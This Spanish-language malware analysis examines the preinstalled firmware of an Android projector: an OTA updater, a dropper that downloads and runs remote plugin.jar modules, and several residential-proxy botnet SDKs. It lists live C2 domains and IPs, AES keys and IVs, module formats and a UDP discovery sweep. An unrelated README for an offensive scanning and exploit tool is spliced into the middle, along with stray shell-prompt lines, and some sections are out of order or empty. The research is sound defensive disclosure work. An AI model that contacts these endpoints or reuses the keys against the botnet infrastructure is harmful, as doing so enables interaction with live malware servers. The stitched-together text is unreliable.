adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest

Revierte con pm enable --user 0 <package>

  • com.android.toofifi: servicio principal de screencast. Pierdes la duplicación de pantalla (transmisión estilo Miracast/AirPlay) desde teléfonos y portátiles.
  • com.toofifi.lineserver: servidor de pantalla por cable/USB para el mismo stack, se conecta a server.mphotool.com:8680 para verificaciones de licencia. Pierdes el modo de pantalla por cable.
  • com.toofifi.miracast: receptor inalámbrico Miracast, llama a server.mphotool.com:8680/MPAPI/System/CheckUpdate y sube registros de uso a mphotool.com/FeituAppLogMgr. Pierdes la transmisión inalámbrica.
  • com.mphotool.usbcastserver: servidor de transmisión por USB, mismo proveedor. Pierdes el soporte de transmisión por USB desde el dispositivo.
  • com.rockchip.devicetest: Sin razón para estar en una unidad Allwinner.

9. Mapa completo de componentes

Análisis estático. Las fuentes descompiladas sin procesar, los módulos .rf descifrados y los scripts utilizados se conservan en analysis/ (decompiled/, decrypted_modules/, tools/).

9.1 Actualizador OTA

com.android.sysapp

Las clases descompiladas a.a.b.m/a.a.b.n dan la solicitud OTA exacta y literal:``` POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo &productid=<ro.android.productid, default "74865231"> &device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269"> &devices_version=<ro.build.version.incremental> &update_type=1|2 # 1 auto check, 2 forced ("check for update" button)

root@kitploit:~
via Apache `HttpPost` con cuerpo de formulario vacío. Todo está en la cadena de consulta, por lo que GET y POST son equivalentes y no hay firma/token. Reproducido en vivo (2026‑09‑26): `{"code":200,"data":[]}`, parece no tener paquete para este productid, en cualquier versión probada.

### 9.2 Dropper

`com.android.umanalytics.yiyou`

**Autoactualización** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` entrega `DownLoadURL` con `MD5` y `VersionCode`, que se descarga, se verifica el MD5, `PkgUtils.install(path, 1)` y se autorreemplaza silenciosamente.

**Obtención de `plugin.jar`** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` entrega `plugin.jar`, que se descarga en `<cache>/plugin.jar` y se carga con `DexClassLoader`. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` es el punto de entrada.

**Perfil de lista de aplicaciones por dispositivo**
Estas son las aplicaciones personalizadas para cada dispositivo en la campaña (¿probablemente parcheadas para eludir DRM?)

`com.anlytics.plug.b` toma la huella de la placa (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, paquetes instalados, archivos como `/system/etc/voice.tar.gz`) contra 40 perfiles codificados y elige la URL `appsinfo/.../infos*.json` adecuada de las constantes en `com.tools.a`.

Esta unidad incluye `com.ashd.launcher10` y reporta `persist.sys.cm.dtsmodel=AT-M269` / placa `ares` y el único perfil H713 "launcher10" en la tabla es:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json

| --list | List all available modules | | --module <name> | Run a specific module | | --output <file> | Save results to a file | | --verbose | Enable verbose output | | --threads <n> | Number of concurrent threads | | --timeout <seconds> | Request timeout in seconds | | --proxy <url> | Use a proxy for requests | | --user-agent <string> | Set a custom User-Agent header | | --no-color | Disable colored output | | --config <file> | Load configuration from a file | | --version | Show version information | | --help | Show help message |

Examples

root@kitploit:~
# List all modules
python3 tool.py --list

# Run a specific module
python3 tool.py --module recon --target example.com

# Save output to a file
python3 tool.py --module scan --output results.txt

# Use a proxy
python3 tool.py --module scan --proxy http://127.0.0.1:8080

Configuration

The tool can be configured using a YAML configuration file. By default, it looks for config.yaml in the current directory.

root@kitploit:~
# config.yaml
timeout: 30
threads: 10
user_agent: "Mozilla/5.0"
proxy: null
verbose: false

Modules

Recon

The recon module performs reconnaissance on the target, including DNS enumeration, subdomain discovery, and port scanning.

Scan

The scan module performs vulnerability scanning against the target using a set of predefined checks.

Exploit

The exploit module attempts to exploit known vulnerabilities. Use with caution and only on systems you own or have permission to test.

Contributing

Contributions are welcome! Please follow these steps:

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/my-feature)
  3. Commit your changes (git commit -am 'Add some feature')
  4. Push to the branch (git push origin feature/my-feature)
  5. Open a Pull Request

License

This project is licensed under the MIT License - see the LICENSE file for details.

Disclaimer

This tool is intended for educational and ethical testing purposes only. The authors are not responsible for any misuse or damage caused by this program.```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"

root@kitploit:~
**Lista completa de 40 URL de perfiles**
Cada uno es probablemente una familia de dispositivos víctima bajo la misma campaña:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json  H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json  YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json

Cada infos*.json enumera las apps para pm install -r (payload com.google.adtest + apps de cobertura como Disney+) como se describe en 3..

9.3 plugin.jar

Cifrado del host C2 com.hs.p.basic.Hosts/EncryptUtils Cada cadena de host es AES/CFB/NoPadding (clave MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708"), comprimida con gzip y luego codificada en base64:

  • API_MASTER_HOSTS: https://api.loritor.cc/
  • TRACKER_SLAVE_HOSTS: https://api.loritor.cc/
  • API_SLAVE_HOSTS: https://api.nizero.cc/
  • TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (¿prioridad intercambiada respecto al canal API?)

Tanto loritor.cc como nizero.cc parecían caídos en el momento de esta prueba.

Rutas de la API de tareas/configuración GetTaskApi, GetConfigApi POST <host>/0x01/ov/x1 (configuración: ventanas silenciosas, alternar registro, envío de lista de hosts, período de sondeo) y POST <host>/0x01/ov/x2 (lista de tareas: jars[]/dexs[]/apks[] paginados por cursor, cada uno con file_url/file_md5/vercode/task_id). El campo "data" del cuerpo de la respuesta se cifra de la misma manera, clave "ota.api.d3b194c07b63d688969c258719ca3f0f".

Formato del módulo .rf Descifrando los cuatro módulos que tengo con firmas DSA válidas: [4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].

Clave AES = MD5("968a84be78d3421d5e771147dce2b766" + salt), mismo IV fijo que arriba.

La clave pública DSA está codificada de forma fija (1024 bits, incrustada en DexManager/JarExe). El texto plano es un ZIP/APK, no un dex sin procesar.``` SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"} SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"} SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"} SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}

root@kitploit:~
### 9.4 com.ad.proxy

`SKN0041`

La entrada `MainApi.start_W0017` inicia el cliente `Robin`. Dos endpoints HTTP(S) sin cifrar, `channel`/`version` proporcionados por quien haya invocado el módulo:```
GET  https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
     body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
     # reports back which proxy gateways it reached

9.5 com.szns.sdk

SKN0054

Las cadenas de dominio/IP aquí están ofuscadas: Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip en la clase com.szns.sdk.t.

Se replicó el algoritmo exacto (analysis/tools/decode_szns_t.py) y se descifraron los cuatro endpoints de arranque codificados de forma fija:``` ac.a() -> https://hgsdkszns.com ac.b() -> http://dporder.midrouterx.com/api/dispatch (state 1: fetch "domain_info", cached 24h) ac.c() -> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico (state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss") ac.d() -> 43.173.127.241:9090 (state 5: "ip_tcp_info" bootstrap)

root@kitploit:~
Si no hay URL de despacho en caché (estado 7):
Barrido UDP de `43.153.12.1` - `43.153.80.100:8080`

Enviando el payload ASCII literal `"moon2"`, esperando cualquier respuesta que comience con `http`. Esta respuesta se convierte en la URL de despacho.

Cada solicitud de arranque es `POST <url>` con campos de formulario `{"operator":<c>,"c":"moon2","name":<d>}` en `com.szns.sdk.x`.

Cualquiera que sea la URL de despacho que se resuelva, se le envían por POST los mismos campos y devuelve la lista real de pasarelas, cifrada como `AES/CBC/PKCS5` (clave `"5360e2884c119aa32a767ceb1c0889b0"`, IV aleatorio, envoltura `base64(iv):base64(ciphertext)`)

Formato JSON descifrado: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.

### 9.6. com.link.core

`SKN0058 `

Pasarela única codificada de forma fija, sin capa de descubrimiento: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. Resolutores DNS utilizados para sus propias consultas: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. Lee `/proc/cpuinfo` y `/sys/class/net/{eth0,wlan0}/address` para la huella del dispositivo.

### 9.7. ddth2 (VpsSdk)

`SKN0061`

Grupo de pasarelas codificado de forma fija, `ddth2.hidden.o`: dominios `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IPs `45.43.57.99`, `165.154.135.52`.

Un protocolo TCP binario personalizado persistente:

- conectar
- handshake `REGISTER`/`REGISTER_ACK` (cabecera de trama de 8 bytes, opcode+longitud)
- la pasarela entonces envía comandos de conexión (`{host, port}`
- filtrados contra rangos privados/loopback/multicast que generan sockets proxy por sesión, lo que explica las "muchas instancias de cliente paralelas".

### 9.8. com.google.adtest

o `com.fotas.wanapp ("com.speed")`

El nombre de paquete interno real es `com.fotas.wanapp` (clase App `com.fotas.wanapp.APP`). `onCreate()` configura tres hosts con el mismo patrón maestro/esclavo/aleatorio que `plugin.jar`:```
master -> https://api.pechlo.cc/
slave  -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/

El registro del dispositivo se realiza mediante POST https://codedevapp.com/api/v1/device/dau.

Se inician dos servicios:

  • com.google.android.AdService
  • com.google.android.BakService

Sondea de forma reflexiva e inicializa una clase opcional com.fotas.wanapp.ChannelSdkInit si está presente. Cadenas de id de la app: "wanapp", "WAN_AISHANG_001".

9.9. Instantánea del estado en vivo (2026-09-26)

Comprobación de accesibilidad de solo lectura desde un host independiente (no se envió ningún protocolo/carga útil de proxy, ni se interactuó con el proyector en sí):

10. URLs

11. Otros

Opciones de desarrollador:

  1. Deviceversion.onKeyDown (pantalla "Device info" de Ajustes) busca un código estilo Konami, Arriba Arriba Abajo Abajo Izquierda Izquierda Derecha Derecha Centro Centro, que intenta abrir las opciones de desarrollador. En mi caso no funcionó.
  2. Arriba Abajo Izquierda Derecha Centro intenta lanzar com.konka.readmain.MainActivity, una app de prueba de fábrica del OEM no relacionada que en realidad no está instalada en esta unidad. Igual, no funcionó.``` adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion adb shell input keyevent 19 adb shell input keyevent 19 adb shell input keyevent 20 adb shell input keyevent 20 adb shell input keyevent 21 adb shell input keyevent 21 adb shell input keyevent 22 adb shell input keyevent 22 adb shell input keyevent 23 adb shell input keyevent 23
root@kitploit:~
Descargar herramienta
TérminoQué haceLAN
NetworkInterface (adtest, plugin, SKN0061)Lee la IP y MAC propias del dispositivo para el ID del botNo
DatagramSocket en SKN0041Retransmisión UDP para sesiones de proxy hacia el gatewayNo
DatagramSocket en SKN0054Descubrimiento de C2: barre 43.153.12-80.1-100:8080 (rango de nube pública)No
ServerSocket en plugin.jarServidor de retransmisión de video, ver más abajoNo
Aciertos de Runtime.exec (yiyou, plugin.jar, adtest, SKN0041/54/58/61)Internos de SDK de terceros, chmod 777 en archivos locales, su/pm/dumpsys para verificaciones de aplicación en primer plano o root y ping emitido por el operador en SKN0041Solo comando ping
UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/cálculo de subred, ADB 5555, telnetningunoNo
systemmixservice / libsystemmixservice.so / libsystemmix_jni.soServicio OEM solo Binder: get/set de propiedades, lectura/escritura/eliminación de archivos sin procesar, mount/umount, logo/animación de arranque. Sin símbolo socket/bind/connect/listen/accept en ninguno de los dos binariosNo
qwDemonio su de Superuser/ClockworkMod. Solo rutas de socket de dominio Unix en sus cadenas (/dev/com.koushikdutta.superuser[.daemon]), sin literal de IP, sin AF_INETNo
com.android.nfx (NFXAccessibility)Asistente de navegación con D-pad de Netflix, activo solo mientras com.netflix.mediaclient está en primer plano. El manifiesto no tiene permiso INTERNET en absolutoNo
// SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only
str.equals("0.0.0.0")str.matches("^10\..*")
HostResultado de DNS / conexiónNotas
api.loritor.cc, api.nizero.ccresuelve (Cloudflare), HTTP 404 en /activo; las rutas reales son /0x01/ov/x1, /0x01/ov/x2
api.kookjar.comresuelve (Cloudflare, 172.67.159.65), HTTP 204activo
152.32.240.141 (fallback de depuración de SKN0041)timeout de TCP/80no accesible; de todos modos es una ruta solo de depuración, producción usa api.kookjar.com
dporder.midrouterx.comresuelve directo (43.174.196.241, Tencent Cloud), HTTP 200 en /api/dispatchactivo
seed-info.oss-ap-southeast-1.aliyuncs.comresuelve (47.79.49.170, Alibaba Cloud SG), HTTP 200, sirve favorite.icoactivo
hgsdkszns.comresuelve (Cloudflare)DNS activo; sonda HTTPS simple reiniciada (rama no usada en la compilación actual, ver 10.5)
43.173.127.241:9090la conexión TCP en bruto tiene éxitoactivo, escuchando ahora mismo
api.eviceh.cc:16000resuelve (152.53.83.204)DNS activo, TCP/16000 rechazado en el momento de la comprobación (la puerta de enlace no está escuchando actualmente)
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52no se volvió a comprobar en esta pasadaver sección 11
api.pechlo.cc, api.logobi.ccresuelven (Cloudflare), HTTP 404 en /activos
random.vivosoc.ccsin registro DNSparece muerto/caducado
codedevapp.comresuelve (5.161.41.216, Hetzner)activo; /api/v1/device/dau es solo POST, por lo que un GET simple aborta
Host / URLComponenteRol
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.comsysapp, yiyoudominio raíz del backend del OEM
wjtysj.ishanghd.com/hx_kt.phpsysapp (AshdSysApp)C2 del actualizador OTA (act=project&do=getPackageInfo)
ty.ishanghd.com/work/app/wj/factory/update.jsonyiyoupuntero de autoactualización del dropper
ty.ishanghd.com/work/app/wj/appsinfo/* (40 rutas, ver arriba)yiyoulistas de cargas útiles/apps por familia de dispositivos (objetivos de pm install -r)
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.jsonyiyoupuntero de obtención de plugin.jar
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jaryiyoucarga útil real de plugin.jar (ruta versionada, cambia con el tiempo)
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zipplugin.jarpaquete de claves/licencias DRM Widevine L3, colocado para que las apps de streaming funcionen en el dispositivo no certificado
api.loritor.cc, api.nizero.ccplugin.jar ("hs")API de tareas/configuración (/0x01/ov/x1, /0x01/ov/x2), tanto como canal de API (maestro/esclavo) como canal de rastreo (esclavo/maestro intercambiados)
api.kookjar.com (+ 152.32.240.141 de depuración)SKN0041/signin, /report
api.eviceh.cc:16000SKN0058única puerta de enlace
hgsdkszns.comSKN0054host de arranque adicional codificado de forma rígida (rama no usada en la compilación actual)
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, alcanzado mediante el arranque OSS de abajo)SKN0054arranque de despacho principal
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.icoSKN0054redireccionador de arranque alojado en OSS (Alibaba Cloud OSS)
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.icoSKN0054espejo de respaldo de Tencent COS de la misma configuración de arranque
43.173.127.241:9090SKN0054host de arranque ip_tcp_info (puerto exacto confirmado, activo)
43.135.136.224SKN0054puerta de enlace de despacho observada activa (tcp/7788 /api/dispatch, tcp/9090)
43.159.148.198SKN0054endpoint de puerta de enlace/lista de servidores observado activo, /dp/getServer (probablemente devuelto dinámicamente dentro de la lista cifrada node[])
43.130.60.175SKN0054nodo de puerta de enlace proxy adicional (tcp/9090), observado activo
43.153.12.1–43.153.80.100:8080 (UDP)SKN0054barrido de descubrimiento; la carga útil de sondeo es el ASCII literal moon2
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52SKN0061grupo de puertas de enlace, protocolo de proxy TCP personalizado
api.pechlo.cc, api.logobi.cc, random.vivosoc.cccom.speed / com.fotas.wanappC2 maestro/esclavo/aleatorio
codedevapp.com/api/v1/device/daucom.speed / com.fotas.wanappregistro del dispositivo
live.sz-cloudmedia.com:8080/ota/OTA heredado (variante de sysapp más antigua/hermana)callejón sin salida, el dominio no tiene registro ICP, Alibaba lo bloquea.
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.comyiyou (SDK de Umeng)telemetría de análisis de terceros, que transporta las huellas del dispositivo (número de serie, MACs, SSID/BSSID) que recopila la app yiyou
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.comyiyou (SDK de Baidu Mobile Stats)mismo rol de telemetría, a través de Baidu
cmnsguider.yunos.com, ip.taobao.com, g3.le.comyiyouservicios de token de dispositivo y búsqueda de IP pública de Alibaba/Yunos usados para la toma de huellas